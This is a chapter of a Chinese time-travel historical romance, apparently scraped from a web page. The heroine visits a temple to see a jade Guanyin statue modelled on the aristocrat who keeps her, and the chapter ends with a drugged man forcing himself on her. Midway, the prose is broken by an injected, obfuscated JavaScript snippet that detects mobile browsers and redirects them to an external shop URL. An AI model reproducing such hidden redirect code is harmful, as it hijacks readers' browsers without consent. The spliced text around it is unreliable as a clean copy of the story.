10. 白玉光世音
作品:《赤恨》 暑气渐盛,红玉台乱红阵阵,檐上、径中、桥下,处处是嫣红的山茶花瓣,仿佛世界漫出血色。
初夏热风吹过花树,徐巧犀躺在花下美人榻上,山茶花红雪似的下了她一身。
有一两朵更是气势豪壮,没有零落,直接断头般砸向她手里的书。
徐巧犀吓了一跳,赶紧握着书从美人榻上起身往屋里走。
待不得了。
前段日子春光好,她在红玉台寻摸到这么处荫浓花繁的好地方,置了张美人榻。
谢忌怜夸她,“赏花听风,不负春华,巧犀有雅心。”
徐巧犀老实摇头,“我就是想边晒太阳边睡觉。”
谢忌怜实在是个好脾气的人,徐巧犀在浅川春汀想干嘛就干嘛,他大有纵容的意味,有的时候她也不好意思再要求他什么。
比如现在。
红玉台藏书颇多,徐巧犀和蓝烟绿云一起把各种志怪奇闻的书籍都找出来。
谢忌怜那边总没消息,她不如自己先找找看有没有什么门道,死马当做活马医。
幸好蓝烟略懂几个字,坐在廊下陪徐巧犀查书。绿云没学过认字,就在膝上放个盛满茉莉花的小竹筐,低头穿针引线做手串,三个女孩一人一条。
清幽幽的茉莉香暂时抚平了徐巧犀的焦躁。
她好歹是个大学生,但在一堆文言文加繁体字的重压下,徐巧犀好多地方只能半蒙半猜。
“唉……”
她叹气,院子外边忽跑进来一人。
“小夫人,王家女郎拜谒,您要见见吗?”
“啊?王家?”
徐巧犀一秒不到摇了头。
“不见,你就说我病了。”
自从谢忌怜带她参加清谈之后来红玉台的人络绎不绝,一会儿这家贵女,一会儿那家夫人,其实都是来打探谢忌怜和她的。
像拒绝过年亲戚进入自己房间一样,徐巧犀通通不见,找借口已经找得相当熟练。
“可……”来报的人有些迟疑,“这次来的王家小女郎,郎君视之如亲妹,小夫人她也不见?”
“不见不见。”
“……是,小人这就去回了王女郎。”
徐巧犀继续啃书,蓝烟戳了戳她,“王家从南边大老远回来,你是郎君唯一的身边人,再推下去不好吧?”
可是,谢忌怜说她想怎样就怎样……
等一下!
徐巧犀突然抓住一个点,心脏发动了一场小型地震。
“南边?建康,南边?”
“对啊……”蓝烟和绿云双双点头,不知道她为什么突然神情激动。
“啪”的一下,徐巧犀摔下手中书,提起裙子就去追刚才禀报的人。
“你等等!我见她!”
徐巧犀着急忙慌喊着,心里只恨自己以前书都白读了。
衣冠南渡呀!乱世就要来了!
她在红玉台好吃好喝的,居然连这个都忘了!
——
王沐爱端坐在小案前,一袭朱绯敞领,娴静颔首,美丽的白皙颈脖一下子抓住徐巧犀的眼睛。
那张小巧精致的脸,线条收拢得极好,下巴尖尖的如玉兰花瓣。衣袖飘飘,连坐着也像即将飞走的仙女。
徐巧犀直勾勾看了人家好一会儿,吞吞吐吐第一句话是:
“你几岁啦?”
王沐爱微微抬眼,柔声道:“十五,年已及笄。”
才十五!
初中的小妹妹!
美人果然从娘胎里就是美人……
王沐爱眼波递向徐巧犀,却发现这位小夫人只傻愣愣的看着自己,既不寒暄,也不交际,没有一点红玉台女主人的样子。
一丝喜意在心间流窜,她那根紧绷的弦松了下来。
腰背挺得更直,王沐爱视线扫过窗外,落在外边红山茶上。
“那张美人榻何时置的?我上次来都没见令嘉阿兄设下。”
“哦,前两个月放的了。”
王沐爱收回视线,嘴角含着蜜似的怎么也放不下来。
“从前同令嘉阿兄说起过那里适合置榻赏花,以为他没放在心上,原来……”
她话没说完,脑袋害羞般低下去,玉兰花般的脸庞上闪烁着小女孩的雀跃与惊喜。
外廊上,蓝烟查完了自己手头那几本书,抱着它们进来和徐巧犀说情况,正听见了王沐爱这话。
她跪在徐巧犀身侧,眼睛瞄着王沐爱,正要开口戳破她的绮丽臆想,放书的手却被捏了一下。
徐巧犀眨眨眼,问她:“有看到什么吗?”
蓝烟只好先回答她,“没有,如果我没看漏的话。”
“好,那你下去吧。”
蓝烟瘪瘪嘴,起身去屋外和绿云一起串手链。
徐巧犀对王沐爱笑笑,将案上茶盏向她推了推。
“女郎吃茶。”
青春期的妹妹对大哥哥心怀爱慕是人之常情。徐巧犀青春期的时候一味“存天理,灭人欲”埋头读书,等青春期过了,发现自己心里连男生的影子都没有。
空白一片。
有时候她也有点遗憾。
王沐爱这个时候最好,连“存天理灭人欲”这句话都还没出来呢。
“小夫人关心《博物志》和《洞冥记》?”
王沐爱瞄到刚才蓝烟放下的书,这才发现徐巧犀身侧也有一摞书,是《神异经》与《汲冢琐语》等等。
都是些神仙鬼怪,怪力乱神的奇异之书,小夫人喜欢这个?难怪阿兄形容不出来她。
“这个……”徐巧犀还在思量怎么回答,一道颀长身影翩然入室。
“沐爱来了怎不先同怜讲?”谢忌怜薄唇含笑,走到徐巧犀身侧自然落座。
他眼神中有些歉意,“巧犀未曾学过待人接物,若有怠慢,沐爱别见怪。”
王沐爱一见着他神色霎时明亮,但又见他如今与徐巧犀并肩而坐,呼吸不受控制地变缓。
“小夫人并未怠慢,令嘉阿兄多虑了。”
谢忌怜淡然一笑,也注意到身边许多书籍。
“什么时候喜欢看书了?”
还不是因为你……
徐巧犀眼珠转动,“我们不是比赛谁能讲出天底下最神奇的故事吗?我想从书里找找。”
谢忌怜闻言,眼里笑意骤然冷却,只剩唇角僵硬勾起。
他明白徐巧犀在做什么了。
“巧犀这算不算作弊?当时分明说好各司其职,怜看书,你寻物。”
徐巧犀嘴角一咧。
这人又开始嘴里没一句实话了。她委婉提醒两人的约定,他居然编话堵她!
她倒是不想“作弊”,那他倒是动一动啊!
徐巧犀气得胸口起伏不定,错开眼不理谢忌怜。
两人互动落在王沐爱眼里,她想起那天在晴洲小业听到的那句“怜与爱妾情比坚金”,心底泛起一层一层苦涩。
“这便是‘闺房之乐’?”
王沐爱以袖掩笑,“阿兄未曾婚配,家中少见爱侣,沐爱从前不知,如今却见到了。”
她抬眼看向徐巧犀,“小夫人若要寻奇异之物的话,沐爱倒知道洛阳城里有这么一件宝贝,小夫人同我去看看吗?”
“宝贝?”
“去哪儿?”
徐巧犀刚感兴趣,谢忌怜立即追问,冷冷神色如月霜,王沐爱愣住片刻,缓颜笑道:“秘密。令嘉阿兄放心,沐爱又不会将小夫人拐走,一定全须全尾地还给你。”
谢忌怜眼见徐巧犀头也不回跟着王沐爱走了,坐在原地放空思绪。
她这段日子谁的拜谒都不接,为什么偏偏见了王家女?
为什么要自己找所谓“回家”的法子?她不信他?
徐巧犀虽然无依无靠,在洛阳宛如漂萍,但既然他能养她,那别人也能。万一她投靠王家……
谢忌怜眼神晦暗,手掌撑着一本《洞冥记》,指尖渐渐压白,失去血色。
“玉蒲。”
玉蒲垂首进来,听郎君轻声道:“去一趟滁佳别院,就说我允了。”
窗外红山茶摇晃,有好些被暑气蒸得欲落未落,像一颗颗擎出的断人头。
那小东西有异心也好,没异心也好,他得让她知道不是所有士族子弟都像他这般温柔可亲,事事纵着她。
——
宝伽寺。
王沐爱牵着徐巧犀的衣袖,穿过许多大殿来到一间偏殿。
虽是偏殿,但徐巧犀却觉得这里比其他地方更素净雅致,青蓝帷帐被珍珠帘子束着,殿里不似其他地方烟熏火燎,反而冷清寂寥,像……<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472176|201550||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>谢忌怜的寝居。
“你来。”
王沐爱走到一尊白玉观音像面前,笑里藏着点东西。
“你看这尊像,觉不觉得眉眼有些眼熟?”
徐巧犀端详着观音像,那是一尊五尺多高的水月观音,头戴花冠,身披披帛,腰挂璎珞,支腿坐于莲台,左手上施无畏印,右手下施与愿印,神态柔美,合目冥思。
“他……他像……”
徐巧犀微蹙的眉头刹那松开,奇异道:“他像谢忌怜!”
“沐爱,你们怎么会在这里?”
她这边话音刚落,王仪之的嗓音居然自外响起。
他微微诧异,旋即柔笑,对妹妹道:“远远看着有个身影像你,果然是。你不是去浅川春汀?怎么把令嘉的小夫人带到这里来了?”
王沐爱小跑过去揽住兄长的手臂,“阿兄来了正好,我带小夫人来看宝贝。它的由来,阿兄来讲更合适。”
徐巧犀和他对视一瞬,低头小小道了声“王郎君”。
王仪之对她颔首回礼,之后看向观音像。
“这像确实是件稀奇宝物。不过仪今日来宝伽寺是为先师孔敬夫子上香,有要事在身,长话短说,小夫人不恼吧?”
徐巧犀乖巧摇头。
“令嘉出生前,其母顾夫人曾经见光世音入梦点化腹中胎儿。顾夫人醒来后久久不能忘却,谢太尉以为吉兆,便差人做了这尊像,还特意留下空白面貌,等令嘉长成,才让工匠仿着他的面貌刻下五官,以示他为谢家的光音儿。”
“因此令嘉还有个诨号——‘白玉光世音’。”
“观音?”
王仪之听见徐巧犀说的是“观”,以为她没有听清楚,微躬下身靠近徐巧犀,放慢口型给她看,像教小孩子说话似的:“光——世——音。”
他唇瓣生得好看,含珠微翘,一张一合间白齿微露,徐巧犀被他晃了一下心神。
罪过啊罪过,你们王谢两家尽出美人吗?
抛却美色吸引,徐巧犀反应过来“观音”与“光世音”的不同。
她熟悉的二字称谓是后世渐渐形成的,尤其经历有唐一代,与最开始的三字译名大不相同。
在谢忌怜王仪之他们的世界里,只有“光世音”而无“观音”。
徐巧犀看着那尊光世音像,琢磨出来这“宝物”的意味。无非是谢家为自己贴金,塑造一个被神灵眷顾的谢家子,有助于家族更加风生水起。
这哪里是光世音,分明是权奢欲望。
王沐爱道:“小夫人要找神奇宝物,那这尊像便是光世音点化之子降世后又成了光世音,你讲给令嘉阿兄听,他保准一个字也说不出来便认了输。”
王仪之看着妹妹机灵古怪,默默含笑道:“仪要为先师上香,先行告退,沐爱留此陪着小夫人吧。”
“诶阿兄!孔老夫子也是沐爱的启蒙之师,我也要去上香。”
王沐爱上前跟着兄长,转头对着徐巧犀说:“我去去就回。”
王仪之拗不过妹妹,想着她也有理便由她跟着了。
徐巧犀独自留在偏殿里,拨弄着束帘的珍珠链子。
这个时空竟然是两晋之交。从王家频繁去往南边可以看出,士族们已经开始抛弃北方了。
之后为了躲避战乱,大家都会迁徙去南方。
要活命,就得和王家打好关系,劝谢忌怜不可执着固守洛阳。
徐巧犀愁容满面,不确定自己能不能凭借浅薄的知识活下来。
她踱步来到白玉光世音像前,想来想去还是合十双手拜了拜。
“求你了谢郎君,生死关头,别和王家计较行不行?”
她闭眼小声祈祷,双手手腕忽被一只滚烫大手锢住,铁焊似的挣脱不开。
徐巧犀惊吓出声,猛得张开眼,一张熟悉的俊脸泛着诡异的红晕,双眼通红,含着水光,痴迷地看着她。
“温朔!放开我!”
徐巧犀体温吓得瞬间消失,每寸皮肤都涌起寒意。
他不正常。烫得不正常,红得不正常。
温朔含糊哑笑,火炭一样的身躯往徐巧犀身上贴,直逼得她后背抵靠到光世音膝上怀中。
白玉冰凉而僵硬。
温朔埋首在她颈窝,“我要行散,女郎好心,帮帮我吧……”

